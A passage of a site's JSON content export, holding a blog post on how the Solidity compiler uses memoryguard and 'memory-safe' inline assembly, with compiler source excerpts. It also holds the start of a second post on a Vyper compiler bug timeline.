",{"type":21,"tag":194,"props":30169,"children":30171},{"className":30170},[],[30172],{"type":27,"value":30173},"memoryguard",{"type":27,"value":30175},". If you've ever looked at the output of ",{"type":21,"tag":194,"props":30177,"children":30179},{"className":30178},[],[30180],{"type":27,"value":30181},"solc --ir",{"type":27,"value":30183},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":21,"tag":187,"props":30185,"children":30187},{"className":5287,"code":30186,"language":5286,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[30188],{"type":21,"tag":194,"props":30189,"children":30190},{"__ignoreMap":7},[30191,30209],{"type":21,"tag":198,"props":30192,"children":30193},{"class":200,"line":201},[30194,30199,30204],{"type":21,"tag":198,"props":30195,"children":30196},{"style":1233},[30197],{"type":27,"value":30198}," /// @src 0:26:371 \"contract ",{"type":21,"tag":198,"props":30200,"children":30201},{"style":249},[30202],{"type":27,"value":30203},"XXX",{"type":21,"tag":198,"props":30205,"children":30206},{"style":1233},[30207],{"type":27,"value":30208}," {...\"\n",{"type":21,"tag":198,"props":30210,"children":30211},{"class":200,"line":217},[30212,30217,30221,30226,30230,30234,30238,30243],{"type":21,"tag":198,"props":30213,"children":30214},{"style":698},[30215],{"type":27,"value":30216}," store",{"type":21,"tag":198,"props":30218,"children":30219},{"style":211},[30220],{"type":27,"value":706},{"type":21,"tag":198,"props":30222,"children":30223},{"style":2540},[30224],{"type":27,"value":30225},"64",{"type":21,"tag":198,"props":30227,"children":30228},{"style":211},[30229],{"type":27,"value":828},{"type":21,"tag":198,"props":30231,"children":30232},{"style":698},[30233],{"type":27,"value":30173},{"type":21,"tag":198,"props":30235,"children":30236},{"style":211},[30237],{"type":27,"value":706},{"type":21,"tag":198,"props":30239,"children":30240},{"style":2540},[30241],{"type":27,"value":30242},"0x80",{"type":21,"tag":198,"props":30244,"children":30245},{"style":211},[30246],{"type":27,"value":872},{"type":21,"tag":30,"props":30248,"children":30249},{},[30250,30252,30259],{"type":27,"value":30251},"From ",{"type":21,"tag":34,"props":30253,"children":30256},{"href":30254,"rel":30255},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[38],[30257],{"type":27,"value":30258},"the documentation",{"type":27,"value":2205},{"type":21,"tag":3741,"props":30261,"children":30262},{},[30263],{"type":21,"tag":30,"props":30264,"children":30265},{},[30266,30268,30274,30276,30282,30284,30289],{"type":27,"value":30267},"The caller of ",{"type":21,"tag":194,"props":30269,"children":30271},{"className":30270},[],[30272],{"type":27,"value":30273},"let ptr := memoryguard(size)",{"type":27,"value":30275}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":21,"tag":194,"props":30277,"children":30279},{"className":30278},[],[30280],{"type":27,"value":30281},"[0, size)",{"type":27,"value":30283}," or the unbounded range starting at ",{"type":21,"tag":194,"props":30285,"children":30287},{"className":30286},[],[30288],{"type":27,"value":14756},{"type":27,"value":658},{"type":21,"tag":30,"props":30291,"children":30292},{},[30293,30295,30300,30302,30308],{"type":27,"value":30294},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":21,"tag":194,"props":30296,"children":30298},{"className":30297},[],[30299],{"type":27,"value":30173},{"type":27,"value":30301}," return ",{"type":21,"tag":194,"props":30303,"children":30305},{"className":30304},[],[30306],{"type":27,"value":30307},"size + 32",{"type":27,"value":30309},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":21,"tag":30,"props":30311,"children":30312},{},[30313,30315,30322,30324,30329,30331,30336],{"type":27,"value":30314},"An example of this optimization in practice ",{"type":21,"tag":34,"props":30316,"children":30319},{"href":30317,"rel":30318},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[38],[30320],{"type":27,"value":30321},"is the StackLimitEvader",{"type":27,"value":30323},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":21,"tag":1671,"props":30325,"children":30326},{},[30327],{"type":27,"value":30328},"only",{"type":27,"value":30330}," optimization pass that relies on the semantic information communicated by ",{"type":21,"tag":194,"props":30332,"children":30334},{"className":30333},[],[30335],{"type":27,"value":30173},{"type":27,"value":658},{"type":21,"tag":30,"props":30338,"children":30339},{},[30340],{"type":27,"value":30341},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":21,"tag":30,"props":30343,"children":30344},{},[30345,30347,30353],{"type":27,"value":30346},"Fear not, for we can remove this pointer entirely and call ",{"type":21,"tag":194,"props":30348,"children":30350},{"className":30349},[],[30351],{"type":27,"value":30352},"memoryguard(0x60)",{"type":27,"value":30354}," instead. The rest of the pipeline will still work.",{"type":21,"tag":22,"props":30356,"children":30357},{"id":29866},[30358],{"type":27,"value":30359},"Memory Safety",{"type":21,"tag":30,"props":30361,"children":30362},{},[30363],{"type":27,"value":30364},"So what does memory safety mean?",{"type":21,"tag":30,"props":30366,"children":30367},{},[30368,30370,30376],{"type":27,"value":30369},"The Solidity documentation provides ",{"type":21,"tag":34,"props":30371,"children":30373},{"href":29841,"rel":30372},[38],[30374],{"type":27,"value":30375},"a set of constraints",{"type":27,"value":30377},", not a definition.",{"type":21,"tag":3741,"props":30379,"children":30380},{},[30381,30386],{"type":21,"tag":30,"props":30382,"children":30383},{},[30384],{"type":27,"value":30385},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":21,"tag":71,"props":30387,"children":30388},{},[30389,30394,30399,30404],{"type":21,"tag":75,"props":30390,"children":30391},{},[30392],{"type":27,"value":30393},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":21,"tag":75,"props":30395,"children":30396},{},[30397],{"type":27,"value":30398},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":21,"tag":75,"props":30400,"children":30401},{},[30402],{"type":27,"value":30403},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":21,"tag":75,"props":30405,"children":30406},{},[30407],{"type":27,"value":30408},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":21,"tag":30,"props":30410,"children":30411},{},[30412,30414,30421,30429],{"type":27,"value":30413},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":21,"tag":34,"props":30415,"children":30418},{"href":30416,"rel":30417},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[38],[30419],{"type":27,"value":30420},"removes the memory guard",{"type":21,"tag":123,"props":30422,"children":30423},{},[30424],{"type":21,"tag":34,"props":30425,"children":30427},{"href":128,"ariaDescribedBy":30426,"dataFootnoteRef":7,"id":131},[130],[30428],{"type":27,"value":134},{"type":27,"value":658},{"type":21,"tag":187,"props":30431,"children":30433},{"className":29912,"code":30432,"language":29914,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[30434],{"type":21,"tag":194,"props":30435,"children":30436},{"__ignoreMap":7},[30437,30445,30453,30460,30496,30503,30511,30519,30527,30535,30543,30556,30569,30577],{"type":21,"tag":198,"props":30438,"children":30439},{"class":200,"line":201},[30440],{"type":21,"tag":198,"props":30441,"children":30442},{"style":1233},[30443],{"type":27,"value":30444},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":21,"tag":198,"props":30446,"children":30447},{"class":200,"line":217},[30448],{"type":21,"tag":198,"props":30449,"children":30450},{"style":1233},[30451],{"type":27,"value":30452},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":21,"tag":198,"props":30454,"children":30455},{"class":200,"line":236},[30456],{"type":21,"tag":198,"props":30457,"children":30458},{"emptyLinePlaceholder":16},[30459],{"type":27,"value":1283},{"type":21,"tag":198,"props":30461,"children":30462},{"class":200,"line":260},[30463,30468,30473,30478,30482,30487,30492],{"type":21,"tag":198,"props":30464,"children":30465},{"style":1966},[30466],{"type":27,"value":30467},"string",{"type":21,"tag":198,"props":30469,"children":30470},{"style":211},[30471],{"type":27,"value":30472}," IRGenerator::",{"type":21,"tag":198,"props":30474,"children":30475},{"style":698},[30476],{"type":27,"value":30477},"memoryInit",{"type":21,"tag":198,"props":30479,"children":30480},{"style":211},[30481],{"type":27,"value":706},{"type":21,"tag":198,"props":30483,"children":30484},{"style":249},[30485],{"type":27,"value":30486},"bool",{"type":21,"tag":198,"props":30488,"children":30489},{"style":226},[30490],{"type":27,"value":30491}," _useMemoryGuard",{"type":21,"tag":198,"props":30493,"children":30494},{"style":211},[30495],{"type":27,"value":789},{"type":21,"tag":198,"props":30497,"children":30498},{"class":200,"line":281},[30499],{"type":21,"tag":198,"props":30500,"children":30501},{"style":211},[30502],{"type":27,"value":11689},{"type":21,"tag":198,"props":30504,"children":30505},{"class":200,"line":302},[30506],{"type":21,"tag":198,"props":30507,"children":30508},{"style":1233},[30509],{"type":27,"value":30510}," // This function should be called at the beginning of the EVM call frame\n",{"type":21,"tag":198,"props":30512,"children":30513},{"class":200,"line":323},[30514],{"type":21,"tag":198,"props":30515,"children":30516},{"style":1233},[30517],{"type":27,"value":30518}," // and thus can assume all memory to be zero, including the contents of\n",{"type":21,"tag":198,"props":30520,"children":30521},{"class":200,"line":344},[30522],{"type":21,"tag":198,"props":30523,"children":30524},{"style":1233},[30525],{"type":27,"value":30526}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":21,"tag":198,"props":30528,"children":30529},{"class":200,"line":365},[30530],{"type":21,"tag":198,"props":30531,"children":30532},{"style":640},[30533],{"type":27,"value":30534}," return\n",{"type":21,"tag":198,"props":30536,"children":30537},{"class":200,"line":386},[30538],{"type":21,"tag":198,"props":30539,"children":30540},{"style":211},[30541],{"type":27,"value":30542}," Whiskers{\n",{"type":21,"tag":198,"props":30544,"children":30545},{"class":200,"line":408},[30546,30551],{"type":21,"tag":198,"props":30547,"children":30548},{"style":211},[30549],{"type":27,"value":30550}," _useMemoryGuard ",{"type":21,"tag":198,"props":30552,"children":30553},{"style":683},[30554],{"type":27,"value":30555},"?\n",{"type":21,"tag":198,"props":30557,"children":30558},{"class":200,"line":429},[30559,30564],{"type":21,"tag":198,"props":30560,"children":30561},{"style":205},[30562],{"type":27,"value":30563}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":21,"tag":198,"props":30565,"children":30566},{"style":683},[30567],{"type":27,"value":30568}," :\n",{"type":21,"tag":198,"props":30570,"children":30571},{"class":200,"line":450},[30572],{"type":21,"tag":198,"props":30573,"children":30574},{"style":205},[30575],{"type":27,"value":30576}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":21,"tag":198,"props":30578,"children":30579},{"class":200,"line":468},[30580],{"type":21,"tag":198,"props":30581,"children":30582},{"style":211},[30583],{"type":27,"value":2249},{"type":21,"tag":30,"props":30585,"children":30586},{},[30587,30592,30594,30600],{"type":21,"tag":194,"props":30588,"children":30590},{"className":30589},[],[30591],{"type":27,"value":30181},{"type":27,"value":30593}," will now no longer have ",{"type":21,"tag":194,"props":30595,"children":30597},{"className":30596},[],[30598],{"type":27,"value":30599},"memoryguard(0x80)",{"type":27,"value":30601}," as expected.",{"type":21,"tag":187,"props":30603,"children":30605},{"className":5287,"code":30604,"language":5286,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[30606],{"type":21,"tag":194,"props":30607,"children":30608},{"__ignoreMap":7},[30609,30624],{"type":21,"tag":198,"props":30610,"children":30611},{"class":200,"line":201},[30612,30616,30620],{"type":21,"tag":198,"props":30613,"children":30614},{"style":1233},[30615],{"type":27,"value":30198},{"type":21,"tag":198,"props":30617,"children":30618},{"style":249},[30619],{"type":27,"value":30203},{"type":21,"tag":198,"props":30621,"children":30622},{"style":1233},[30623],{"type":27,"value":30208},{"type":21,"tag":198,"props":30625,"children":30626},{"class":200,"line":217},[30627,30632,30636,30640,30644,30649],{"type":21,"tag":198,"props":30628,"children":30629},{"style":698},[30630],{"type":27,"value":30631}," mstore",{"type":21,"tag":198,"props":30633,"children":30634},{"style":211},[30635],{"type":27,"value":706},{"type":21,"tag":198,"props":30637,"children":30638},{"style":2540},[30639],{"type":27,"value":30225},{"type":21,"tag":198,"props":30641,"children":30642},{"style":211},[30643],{"type":27,"value":828},{"type":21,"tag":198,"props":30645,"children":30646},{"style":2540},[30647],{"type":27,"value":30648},"128",{"type":21,"tag":198,"props":30650,"children":30651},{"style":211},[30652],{"type":27,"value":789},{"type":21,"tag":30,"props":30654,"children":30655},{},[30656,30658,30663,30665,30670],{"type":27,"value":30657},"Semantically, the absence of ",{"type":21,"tag":194,"props":30659,"children":30661},{"className":30660},[],[30662],{"type":27,"value":30173},{"type":27,"value":30664}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":21,"tag":194,"props":30666,"children":30668},{"className":30667},[],[30669],{"type":27,"value":30173},{"type":27,"value":30671}," invariant.",{"type":21,"tag":3741,"props":30673,"children":30674},{},[30675],{"type":21,"tag":30,"props":30676,"children":30677},{},[30678,30679,30684,30685,30690,30691,30696],{"type":27,"value":30267},{"type":21,"tag":194,"props":30680,"children":30682},{"className":30681},[],[30683],{"type":27,"value":30273},{"type":27,"value":30275},{"type":21,"tag":194,"props":30686,"children":30688},{"className":30687},[],[30689],{"type":27,"value":30281},{"type":27,"value":30283},{"type":21,"tag":194,"props":30692,"children":30694},{"className":30693},[],[30695],{"type":27,"value":14756},{"type":27,"value":658},{"type":21,"tag":30,"props":30698,"children":30699},{},[30700],{"type":27,"value":30701},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":21,"tag":22,"props":30703,"children":30705},{"id":30704},"undefined-behavior",[30706],{"type":27,"value":30707},"Undefined Behavior",{"type":21,"tag":30,"props":30709,"children":30710},{},[30711,30713,30718,30720,30725,30727,30733],{"type":27,"value":30712},"How strict is memory safety? When it comes to ",{"type":21,"tag":194,"props":30714,"children":30716},{"className":30715},[],[30717],{"type":27,"value":30173},{"type":27,"value":30719},", only touching memory after 0x80 seems to matter. Is ",{"type":21,"tag":194,"props":30721,"children":30723},{"className":30722},[],[30724],{"type":27,"value":29831},{"type":27,"value":30726}," annotated assembly that touches memory at ",{"type":21,"tag":194,"props":30728,"children":30730},{"className":30729},[],[30731],{"type":27,"value":30732},"[0x40, 0x7f]",{"type":27,"value":30734}," really safe?",{"type":21,"tag":30,"props":30736,"children":30737},{},[30738,30739,30746,30748,30753],{"type":27,"value":534},{"type":21,"tag":34,"props":30740,"children":30743},{"href":30741,"rel":30742},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[38],[30744],{"type":27,"value":30745},"Solidity documentation",{"type":27,"value":30747}," mentions ",{"type":21,"tag":1671,"props":30749,"children":30750},{},[30751],{"type":27,"value":30752},"undefined behavior",{"type":27,"value":30754}," three times.",{"type":21,"tag":71,"props":30756,"children":30757},{},[30758,30763,30778],{"type":21,"tag":75,"props":30759,"children":30760},{},[30761],{"type":27,"value":30762},"The existence of a dangling reference",{"type":21,"tag":75,"props":30764,"children":30765},{},[30766,30768],{"type":27,"value":30767},"Using verbatim improperly",{"type":21,"tag":123,"props":30769,"children":30770},{},[30771],{"type":21,"tag":34,"props":30772,"children":30776},{"href":30773,"ariaDescribedBy":30774,"dataFootnoteRef":7,"id":30775},"#user-content-fn-2",[130],"user-content-fnref-2",[30777],{"type":27,"value":3931},{"type":21,"tag":75,"props":30779,"children":30780},{},[30781],{"type":27,"value":30782},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":21,"tag":30,"props":30784,"children":30785},{},[30786],{"type":27,"value":30787},"Why does this matter?",{"type":21,"tag":30,"props":30789,"children":30790},{},[30791,30793,30800,30802,30809],{"type":27,"value":30792},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":21,"tag":34,"props":30794,"children":30797},{"href":30795,"rel":30796},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[38],[30798],{"type":27,"value":30799},"signed integer overflow is undefined",{"type":27,"value":30801},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":21,"tag":34,"props":30803,"children":30806},{"href":30804,"rel":30805},"https://blog.regehr.org/archives/1307",[38],[30807],{"type":27,"value":30808},"years down the line",{"type":27,"value":658},{"type":21,"tag":30,"props":30811,"children":30812},{},[30813,30815,30822,30823,30828],{"type":27,"value":30814},"Going back to Solidity, the specification makes ",{"type":21,"tag":34,"props":30816,"children":30819},{"href":30817,"rel":30818},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[38],[30820],{"type":27,"value":30821},"it unambiguously clear",{"type":27,"value":19331},{"type":21,"tag":1671,"props":30824,"children":30825},{},[30826],{"type":27,"value":30827},"Thou shalt not modify the zero slot",{"type":27,"value":658},{"type":21,"tag":3741,"props":30830,"children":30831},{},[30832],{"type":21,"tag":30,"props":30833,"children":30834},{},[30835],{"type":27,"value":30836},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":21,"tag":30,"props":30838,"children":30839},{},[30840,30842,30847],{"type":27,"value":30841},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":21,"tag":1671,"props":30843,"children":30844},{},[30845],{"type":27,"value":30846},"in Solidity",{"type":27,"value":658},{"type":21,"tag":30,"props":30849,"children":30850},{},[30851],{"type":27,"value":30852},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":21,"tag":71,"props":30854,"children":30855},{},[30856],{"type":21,"tag":75,"props":30857,"children":30858},{},[30859,30861,30868],{"type":27,"value":30860},"It very clearly ",{"type":21,"tag":34,"props":30862,"children":30865},{"href":30863,"rel":30864},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[38],[30866],{"type":27,"value":30867},"holds true today",{"type":27,"value":658},{"type":21,"tag":187,"props":30870,"children":30872},{"className":29912,"code":30871,"language":29914,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[30873],{"type":21,"tag":194,"props":30874,"children":30875},{"__ignoreMap":7},[30876,30916,30923,30936,31008,31029,31080,31087],{"type":21,"tag":198,"props":30877,"children":30878},{"class":200,"line":201},[30879,30883,30888,30893,30897,30902,30907,30912],{"type":21,"tag":198,"props":30880,"children":30881},{"style":249},[30882],{"type":27,"value":30486},{"type":21,"tag":198,"props":30884,"children":30885},{"style":211},[30886],{"type":27,"value":30887}," IRGeneratorForStatements::",{"type":21,"tag":198,"props":30889,"children":30890},{"style":698},[30891],{"type":27,"value":30892},"visit",{"type":21,"tag":198,"props":30894,"children":30895},{"style":211},[30896],{"type":27,"value":706},{"type":21,"tag":198,"props":30898,"children":30899},{"style":1966},[30900],{"type":27,"value":30901},"InlineAssembly",{"type":21,"tag":198,"props":30903,"children":30904},{"style":249},[30905],{"type":27,"value":30906}," const&",{"type":21,"tag":198,"props":30908,"children":30909},{"style":226},[30910],{"type":27,"value":30911}," _inlineAsm",{"type":21,"tag":198,"props":30913,"children":30914},{"style":211},[30915],{"type":27,"value":789},{"type":21,"tag":198,"props":30917,"children":30918},{"class":200,"line":217},[30919],{"type":21,"tag":198,"props":30920,"children":30921},{"style":211},[30922],{"type":27,"value":11689},{"type":21,"tag":198,"props":30924,"children":30925},{"class":200,"line":236},[30926,30931],{"type":21,"tag":198,"props":30927,"children":30928},{"style":698},[30929],{"type":27,"value":30930}," setLocation",{"type":21,"tag":198,"props":30932,"children":30933},{"style":211},[30934],{"type":27,"value":30935},"(_inlineAsm);\n",{"type":21,"tag":198,"props":30937,"children":30938},{"class":200,"line":260},[30939,30943,30947,30951,30956,30960,30965,30970,30975,30979,30983,30987,30991,30995,30999,31004],{"type":21,"tag":198,"props":30940,"children":30941},{"style":640},[30942],{"type":27,"value":643},{"type":21,"tag":198,"props":30944,"children":30945},{"style":211},[30946],{"type":27,"value":648},{"type":21,"tag":198,"props":30948,"children":30949},{"style":683},[30950],{"type":27,"value":5383},{"type":21,"tag":198,"props":30952,"children":30953},{"style":226},[30954],{"type":27,"value":30955},"_inlineAsm",{"type":21,"tag":198,"props":30957,"children":30958},{"style":211},[30959],{"type":27,"value":658},{"type":21,"tag":198,"props":30961,"children":30962},{"style":698},[30963],{"type":27,"value":30964},"annotation",{"type":21,"tag":198,"props":30966,"children":30967},{"style":211},[30968],{"type":27,"value":30969},"().",{"type":21,"tag":198,"props":30971,"children":30972},{"style":226},[30973],{"type":27,"value":30974},"hasMemoryEffects",{"type":21,"tag":198,"props":30976,"children":30977},{"style":683},[30978],{"type":27,"value":1819},{"type":21,"tag":198,"props":30980,"children":30981},{"style":683},[30982],{"type":27,"value":13670},{"type":21,"tag":198,"props":30984,"children":30985},{"style":226},[30986],{"type":27,"value":30955},{"type":21,"tag":198,"props":30988,"children":30989},{"style":211},[30990],{"type":27,"value":658},{"type":21,"tag":198,"props":30992,"children":30993},{"style":698},[30994],{"type":27,"value":30964},{"type":21,"tag":198,"props":30996,"children":30997},{"style":211},[30998],{"type":27,"value":30969},{"type":21,"tag":198,"props":31000,"children":31001},{"style":226},[31002],{"type":27,"value":31003},"markedMemorySafe",{"type":21,"tag":198,"props":31005,"children":31006},{"style":211},[31007],{"type":27,"value":789},{"type":21,"tag":198,"props":31009,"children":31010},{"class":200,"line":281},[31011,31016,31020,31025],{"type":21,"tag":198,"props":31012,"children":31013},{"style":226},[31014],{"type":27,"value":31015}," m_context",{"type":21,"tag":198,"props":31017,"children":31018},{"style":211},[31019],{"type":27,"value":658},{"type":21,"tag":198,"props":31021,"children":31022},{"style":698},[31023],{"type":27,"value":31024},"setMemoryUnsafeInlineAssemblySeen",{"type":21,"tag":198,"props":31026,"children":31027},{"style":211},[31028],{"type":27,"value":3404},{"type":21,"tag":198,"props":31030,"children":31031},{"class":200,"line":302},[31032,31037,31041,31045,31050,31055,31059,31063,31067,31071,31076],{"type":21,"tag":198,"props":31033,"children":31034},{"style":211},[31035],{"type":27,"value":31036}," CopyTranslate bodyCopier{",{"type":21,"tag":198,"props":31038,"children":31039},{"style":226},[31040],{"type":27,"value":30955},{"type":21,"tag":198,"props":31042,"children":31043},{"style":211},[31044],{"type":27,"value":658},{"type":21,"tag":198,"props":31046,"children":31047},{"style":698},[31048],{"type":27,"value":31049},"dialect",{"type":21,"tag":198,"props":31051,"children":31052},{"style":211},[31053],{"type":27,"value":31054},"(), m_context, ",{"type":21,"tag":198,"props":31056,"children":31057},{"style":226},[31058],{"type":27,"value":30955},{"type":21,"tag":198,"props":31060,"children":31061},{"style":211},[31062],{"type":27,"value":658},{"type":21,"tag":198,"props":31064,"children":31065},{"style":698},[31066],{"type":27,"value":30964},{"type":21,"tag":198,"props":31068,"children":31069},{"style":211},[31070],{"type":27,"value":30969},{"type":21,"tag":198,"props":31072,"children":31073},{"style":226},[31074],{"type":27,"value":31075},"externalReferences",{"type":21,"tag":198,"props":31077,"children":31078},{"style":211},[31079],{"type":27,"value":2357},{"type":21,"tag":198,"props":31081,"children":31082},{"class":200,"line":323},[31083],{"type":21,"tag":198,"props":31084,"children":31085},{"emptyLinePlaceholder":16},[31086],{"type":27,"value":1283},{"type":21,"tag":198,"props":31088,"children":31089},{"class":200,"line":344},[31090,31095,31099,31104,31108,31112,31116,31121],{"type":21,"tag":198,"props":31091,"children":31092},{"style":211},[31093],{"type":27,"value":31094}," yul::Statement modified ",{"type":21,"tag":198,"props":31096,"children":31097},{"style":683},[31098],{"type":27,"value":3174},{"type":21,"tag":198,"props":31100,"children":31101},{"style":698},[31102],{"type":27,"value":31103}," bodyCopier",{"type":21,"tag":198,"props":31105,"children":31106},{"style":211},[31107],{"type":27,"value":706},{"type":21,"tag":198,"props":31109,"children":31110},{"style":226},[31111],{"type":27,"value":30955},{"type":21,"tag":198,"props":31113,"children":31114},{"style":211},[31115],{"type":27,"value":658},{"type":21,"tag":198,"props":31117,"children":31118},{"style":698},[31119],{"type":27,"value":31120},"operations",{"type":21,"tag":198,"props":31122,"children":31123},{"style":211},[31124],{"type":27,"value":31125},"());`\n",{"type":21,"tag":71,"props":31127,"children":31128},{"start":217},[31129],{"type":21,"tag":75,"props":31130,"children":31131},{},[31132],{"type":27,"value":31133},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":21,"tag":30,"props":31135,"children":31136},{},[31137],{"type":27,"value":31138},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":21,"tag":22,"props":31140,"children":31141},{"id":6122},[31142],{"type":27,"value":6125},{"type":21,"tag":30,"props":31144,"children":31145},{},[31146],{"type":27,"value":31147},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":21,"tag":30,"props":31149,"children":31150},{},[31151],{"type":27,"value":31152},"It's a promise between YUL generation and optimization.",{"type":21,"tag":3606,"props":31154,"children":31156},{"className":31155,"dataFootnotes":7},[3609],[31157,31162],{"type":21,"tag":22,"props":31158,"children":31160},{"className":31159,"id":130},[3614],[31161],{"type":27,"value":3617},{"type":21,"tag":71,"props":31163,"children":31164},{},[31165,31197],{"type":21,"tag":75,"props":31166,"children":31167},{"id":3623},[31168,31170,31175,31177,31183,31185,31190,31192],{"type":27,"value":31169},"As an interesting aside, ",{"type":21,"tag":194,"props":31171,"children":31173},{"className":31172},[],[31174],{"type":27,"value":30173},{"type":27,"value":31176}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":21,"tag":194,"props":31178,"children":31180},{"className":31179},[],[31181],{"type":27,"value":31182},"memory-unsafe",{"type":27,"value":31184}," code can ",{"type":21,"tag":1671,"props":31186,"children":31187},{},[31188],{"type":27,"value":31189},"decrease",{"type":27,"value":31191}," gas consumption, especially in the YUL header. ",{"type":21,"tag":34,"props":31193,"children":31195},{"href":3637,"ariaLabel":3638,"className":31194,"dataFootnoteBackref":7},[3640],[31196],{"type":27,"value":3643},{"type":21,"tag":75,"props":31198,"children":31200},{"id":31199},"user-content-fn-2",[31201,31203,31208,31210],{"type":27,"value":31202},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":21,"tag":1671,"props":31204,"children":31205},{},[31206],{"type":27,"value":31207},"guarantee",{"type":27,"value":31209}," behavior with opaque bytes. ",{"type":21,"tag":34,"props":31211,"children":31214},{"href":31212,"ariaLabel":19352,"className":31213,"dataFootnoteBackref":7},"#user-content-fnref-2",[3640],[31215],{"type":27,"value":3643},{"type":21,"tag":3645,"props":31217,"children":31218},{},[31219],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":31221},[31222,31223,31224,31225,31226,31227,31228],{"id":61,"depth":217,"text":64},{"id":29871,"depth":217,"text":29874},{"id":30135,"depth":217,"text":30138},{"id":29866,"depth":217,"text":30359},{"id":30704,"depth":217,"text":30707},{"id":6122,"depth":217,"text":6125},{"id":130,"depth":217,"text":3617},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":31233,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31234,"description":31235,"author":6533,"image":31236,"date":31238,"isFeatured":16,"onBlogPage":16,"tags":31239,"body":31241,"_type":3671,"_id":31992,"_source":3673,"_file":31993,"_stem":31994,"_extension":3676},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":31237,"height":14430,"width":14430},"/posts/vyper-timeline/header.jpg","2023-08-01",[31240,29814],"vyper",{"type":18,"children":31242,"toc":31983},[31243,31248,31253,31258,31264,31269,31287,31297,31302,31310,31320,31339,31419,31429,31589,31594,31599,31609,31616,31621,31626,31640,31645,31662,31679,31698,31708,31721,31726,31739,31744,31749,31759,31786,31796,31826,31832,31841,31847,31852,31857,31862,31868,31873,31887,31892,31897,31902,31908,31913,31926,31952,31957,31979],{"type":21,"tag":30,"props":31244,"children":31245},{},[31246],{"type":27,"value":31247},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":21,"tag":30,"props":31249,"children":31250},{},[31251],{"type":27,"value":31252},"Compiler bugs are located deep in the 